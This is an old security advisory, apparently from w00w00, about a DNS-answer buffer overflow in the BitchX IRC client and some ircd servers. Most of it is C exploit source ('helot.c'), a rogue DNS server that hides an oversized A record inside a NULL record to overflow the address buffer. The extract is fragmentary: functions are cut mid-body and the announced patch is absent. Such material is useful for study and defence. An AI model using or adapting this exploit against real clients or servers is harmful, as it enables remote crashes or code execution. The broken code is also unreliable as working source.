There are two bugs in the BitchX irc client:
1) A possible stack overflow condition exists if the client processes a malformed DNS answer.
2) A second bug allows this malformed DNS record to be embedded in a valid DNS packet. Without the second bug the malformed DNS record wouldn't be processed.
Patch:
This patch is derived from the BitchX-1.0c17 source tree, but is relevant to previous versions:
Exploit:
/*
* helot.c - bitchx/ircd DNS overflow demonstration
* w00w00 Security Development (WSD)
* 12.04.2000 nimrood (nimrood@onebox.com)
*
* this same code i used to exploit an ircd DNS spoofing bug
* from early '99. re-usable code is great.
* this program is fun to play with if you're messing with DNS.
* the packet builder is MakeDNSPkt(). this tool compiles on my
* linux systems with no problems.
*
* Greetings :: #!w00w00, caddis, dmess0r, nocarrier, nyt,
* superluck, jobe, awr, metabolis, sq, bb0y
*
* ----------------------------------
* problem 1: --> generic ircd
* current and older irc servers suffer from a common bug.
* a pointer is not updated correctly when handling unsupported
* RR types (eg: T_NULL). this makes the server think
* it received a malformed packet when trying to process the next RR.
* it's not a really serious bug, but it allows for a neat trick:
*
* you can embed any RR type in an unsupported RR (eg: T_NULL). these
* embedded RR's are not checked for errors or dropped by nameservers...
*
* problem 2: --> bitchx all versions, remote code excecution
* bitchx appears to use code from older irc servers to perform dns
* lookups. this old code suffers from a bcopy/memcpy overflow while
* processing T_A RR's. The T_A RR data length is used in a subsequent
* memcpy without bounds checking. the overflowed variable stores an
* IP address, only 4 bytes long. this is similar to the I_QUERY BIND
* overflow. bitchx dns also suffers from problem 1.
*
* from bitchx-1.0c17, ./source/misc.c : ar_procanswer()
* line 2639:
* dlen = (int)_getshort(cp);
* cp += sizeof(short);
* rptr->re_type = type;
*
* switch(type)
* {
* case T_A :
* rptr->re_he.h_length = dlen;
* if (ans == 1)
* rptr->re_he.h_addrtype=(class == C_IN) ? AF_INET : AF_UNSPEC;
* memcpy(&dr, cp, dlen);
*
* problem 3: --> comstud ircd, remote code execution
* funny enough, while working on the bitchx overflow, i accidentally
* connected a client using the wrong IP to a comstud ircd...it died.
* i found comstud-1.x releases are not vulnerable.
* i suspect other ircd server varients will be vulnerable. i would
* recommend upgrading to a comstud-1.x release. hybrid-ircd team fixed
* this bug a while back with the release of hybrid-5.3p3.
*
* from irc2.8.21+CSr31pl2, ./source/res.c : proc_answer()
* line 548:
* dlen = (int)_getshort((u_char *)cp);
* line 565:
* switch(type)
* {
* case T_A :
* hp->h_length = dlen;
* if (ans == 1)
* hp->h_addrtype = (class == C_IN) ? AF_INET : AF_UNSPEC;
* bcopy(cp, (char *)&dr, dlen);
*
* there are no bad guys... just disturbed guys.
*/
/* for whatever reason, these may need to be defined */
#ifndef u_char
#define u_char unsigned char
#endif
#ifndef u_short
#define u_short unsigned short
#endif
#ifndef u_long
#define u_long unsigned long
#endif
#define DNS_PORT 53
extern int optind, optopt;
extern char *optarg;
/* used for converting query type integer to respective string */
struct qtype_list
{
int type;
char *name;
};
const struct qtype_list qtypelist[] =
{
{T_A, "A"},
{T_NS, "NS"},
{T_CNAME, "CNAME"},
{T_SOA, "SOA"},
{T_PTR, "PTR"},
{T_HINFO, "HINFO"},
{T_MX, "MX"},
{T_ANY, "ANY"},
{T_NULL, "NULL"},
{T_WKS, "WKS"},
{0, "(unknown)"}
};
void Usage(char *prog)
{
fprintf(stderr, "\
usage: %s [-k pid] [-t ttl] [-b ip] ip hostname\n\
ip ip address to answer reverse lookups for\n\
hostname hostname to be mapped to ip, and answer forward lookups\n\
-k kill this process before binding dns port\n\
-t cache time-to-live (seconds) for this answer (default: 900)\n\
-b bind the nameserver to this address (default, all addresses)\n",
prog);
exit(1);
}
/* IP should be in network order to generate a proper in-addr */
byte = (u_char *)&ip;
sprintf(str, "%d.%d.%d.%d.IN-ADDR.ARPA.", byte[3], byte[2], byte[1],
byte[0]);
/*
* ProcDNSPkt()
*
* desc: process a packet, return query name IF it's a question
* input: pointer to packet buffer, packet buffer length
* output: pointer to query name string, or NULL, type of query
*/
char *ProcDNSPkt(char *pkt, u_short pktlen, int *qtype)
{
static char *qname;
char *qRR;
HEADER *dnshdr;
int qnamelen;
/* do we even have something to look at? */
if(pkt == NULL || pktlen < (HFIXEDSZ + QFIXEDSZ))
return(0);
dnshdr = (HEADER *)pkt;
/* check query response flag */
if(dnshdr->qr)
return(0);
/* check that we have only a question in this packet */
if(ntohs(dnshdr->qdcount) != 1 || ntohs(dnshdr->arcount) != 0 ||
ntohs(dnshdr->nscount) != 0 || ntohs(dnshdr->arcount) != 0)
return(0);
/* extract the query type received and fill in qtype */
qRR = pkt + HFIXEDSZ + strlen(pkt + HFIXEDSZ) + 1;
GETSHORT(qnamelen, qRR);
*qtype = qnamelen;
return(qname);
}
/*
* QType2Str()
*
* desc: convert query type integer to a string representation
* input: query type
* output: pointer to string of query type
*/
char *QType2Str(int qtype)
{
int i = 0;
/* answer packet dns header, we use the query packet's hdr */
if(alen < HFIXEDSZ)
return(0);
memcpy(ahdr, qhdr, HFIXEDSZ);
ahdr->qr = 1; /* query response */
ahdr->aa = 1; /* authoratative answer */
ahdr->rcode = NOERROR;
/* copy original query info to answer packet */
memcpy(aquery, query, (strlen(query) + QFIXEDSZ + 1));
aquery += strlen(query) + 1;
GETSHORT(qtype, aquery);
answerRR = aquery + INT16SZ;
/* build the answer RR's based on query type */
sz = CompDName(qname, answer);
switch(qtype)
{
case T_PTR:
/* answer the original question. this RR's data
* comes from the "hostname" cmdline option.
* this is a normal and valid resource record
*/
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_PTR, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
PUTSHORT(sz, answerRR);
memcpy(answerRR, qname, sz);
offset = answerRR - apkt; /* offset used for compression */
answerRR += sz;
/* this RR, T_NULL demonstrates problem 1. this RR has
* an embedded T_A record in it's data field
*/
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_NULL, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
cp = answerRR; /* pointer to T_NULL RR's data lengh */
PUTSHORT(0, answerRR);
cp2 = answerRR; /* pointer to start of embedded T_A RR */
/* T_A record is actually embedded in the T_NULL record.
* bitchx/ircd will read into this T_A record on the next loop.
* this lets us get around restrictions in BIND on T_A RR's
*
* this RR causes problems 2 & 3 -- the overflow
*/
PUTSHORT((offset | 0xc000), answerRR);
PUTSHORT(T_A, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
PUTSHORT(180, answerRR); /* overflow with 180 N's */
memset(answerRR, 'N', 180);
answerRR += 180;
/* this record is needed to continue the dns loop in
* bitchx/ircd. it can be any RR, i used T_NULL
*/
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_NULL, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
PUTSHORT(0, answerRR);
case T_A:
/* BIND deems T_A records with data length <> 4 bytes
* to be malformed. so we must embed the RR.
*/
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_NULL, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
cp = answerRR;
PUTSHORT(0, answerRR);
cp2 = answerRR;
/* problem 2 & 3 demonstrated with a T_A query */
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_A, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
PUTSHORT(180, answerRR);
memset(answerRR, 'A', 180);
answerRR += 180;
/* fix up the size of the T_NULL */
PUTSHORT((answerRR - cp2), cp);
default:
fprintf(stderr, "\ntype %d query not supported\n",
qtype);
return(0);
}
return(answerRR - (char *)ahdr);
}
/*
* SocketBind()
*
* desc: get's a udp socket and binds it to dns port 53 and an IP address
* input: pid to kill before bind, struct sockaddr initialize, IP address
* output: socket descriptor, or -1 on error
*/
int SocketBind(u_short pid, struct sockaddr_in *sa, u_long listen_ip)
{
int sd, sockopt, sockoptlen;
if((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("can't get a udp socket");
return(sd);
}
fprintf(stderr,"\
helot.c - bitchx/ircd DNS overflow demonstration
12.04.2000 nimrood (nimrood@onebox.com)
w00w00 Security Development (WSD)\n\n");
while((opt = getopt(argc, argv, "k:t:b:")) != -1)
{
switch(opt)
{
case 'k':
killpid = atoi(optarg);
break;
case 't':
ttl = strtoul(optarg, NULL, 0);
break;
case 'b':
if((bind_ip = inet_addr(optarg)) == -1)
{
fprintf(stderr,
"%s is not an ip address!\n", optarg);
exit(-1);
}
break;
case '?':
Usage(argv[0]);
/* NOT REACHED */
default:
fprintf(stderr, "getopt() error doh!\n");
exit(-1);
}
}
/* get ip address and hostname to use for answers */
if((argc - optind) != 2)
Usage(argv[0]);
if((ip = inet_addr(argv[optind])) == -1)
{
fprintf(stderr, "%s not an ip address!\n", argv[optind]);
exit(-1);
}
/* get a socket and bind it to the dns port 53 */
if((sd = SocketBind(killpid, &named, bind_ip)) < 0)
{
fprintf(stderr, "error setting up network!\n");
goto exit_helot;
}